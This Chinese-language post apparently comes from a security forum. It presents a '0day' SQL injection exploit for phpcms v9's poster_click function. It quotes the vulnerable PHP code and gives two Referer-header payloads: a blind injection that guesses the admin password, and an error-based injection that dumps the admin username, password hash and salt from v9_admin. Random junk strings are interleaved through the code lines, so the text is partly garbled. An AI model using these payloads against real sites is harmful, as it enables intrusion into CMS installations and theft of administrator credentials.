phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php
* L7 f$ N* J& _" u& v5 T
public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
9 P4 Q4 f& n1 M& C& @8 Y! vif (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
9 v7 O. o$ a+ F& e- s, m$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
- ?' j1 e; r& T! e3 H$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
* u# E  L  |4 w8 \* M8 zheader('Location: '.$url);
}
/ W6 O/ \; o( e. w
3 u, d: W5 x+ S0 T
1 B6 V9 |% W) n3 y. A( S
利用方式：

1、可以采用盲注入的手法：

3 V( Y! T/ D0 {, Rreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

# P7 p- S" H; L通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：

9 ^+ N' X1 N8 q; G0 `3 I1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
& @- R# [1 A$ k7 ~- F/ {0 Z4 s
& M& U5 @7 E1 X, r& \+ d+ B此方法是爆错注入手法，原理自查。
